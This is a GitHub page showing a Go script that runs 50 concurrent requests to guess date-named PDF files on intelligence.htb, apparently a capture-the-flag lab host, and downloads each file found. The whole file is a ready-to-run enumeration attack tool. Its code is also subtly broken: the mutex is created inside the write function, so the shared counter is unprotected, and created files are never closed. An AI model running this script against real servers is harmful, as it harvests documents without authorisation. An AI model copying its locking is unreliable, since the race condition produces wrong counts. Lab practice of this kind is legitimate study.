-
Notifications
You must be signed in to change notification settings - Fork 12
Expand file tree
/
Copy pathreqPdf.go
More file actions
executable file
·86 lines (61 loc) · 1.25 KB
/
reqPdf.go
File metadata and controls
executable file
·86 lines (61 loc) · 1.25 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
//usr/bin/env go run $0 $@; exit $?
package main
import (
"fmt"
"os"
"sync"
"time"
"io/ioutil"
"net/http"
)
const THREADS = 50
var guard = make(chan struct{}, THREADS)
var nFound = 0
func writeToPdf(filename string, content []byte) {
var m sync.Mutex
m.Lock()
defer m.Unlock()
nFound++
file, err := os.Create(filename)
if err != nil {
panic(err)
}
_, err = file.Write(content)
if err != nil {
panic(err)
}
}
func requestPdf(year, month, day int) {
guard <- struct{}{}
filename := fmt.Sprintf("%d-%02d-%02d-upload.pdf", year, month, day)
res, err := http.Get("http://intelligence.htb/documents/" + filename)
if err != nil {
panic(err)
}
defer res.Body.Close()
if res.StatusCode == 200 {
body, err := ioutil.ReadAll(res.Body)
if err != nil {
panic(err)
}
writeToPdf(filename, body)
}
<-guard
}
func main() {
var wg sync.WaitGroup
fmt.Println("Fuzzing PDF files of the form: YYYY-MM-DD-upload.pdf")
start := time.Now()
year := 2020
for month := 1; month <= 12; month++ {
for day := 1; day <= 31; day++ {
wg.Add(1)
go func(year, month, day int) {
defer wg.Done()
requestPdf(year, month, day)
}(year, month, day)
}
}
wg.Wait()
fmt.Printf("Found %d files in %s\n", nFound, time.Since(start))
}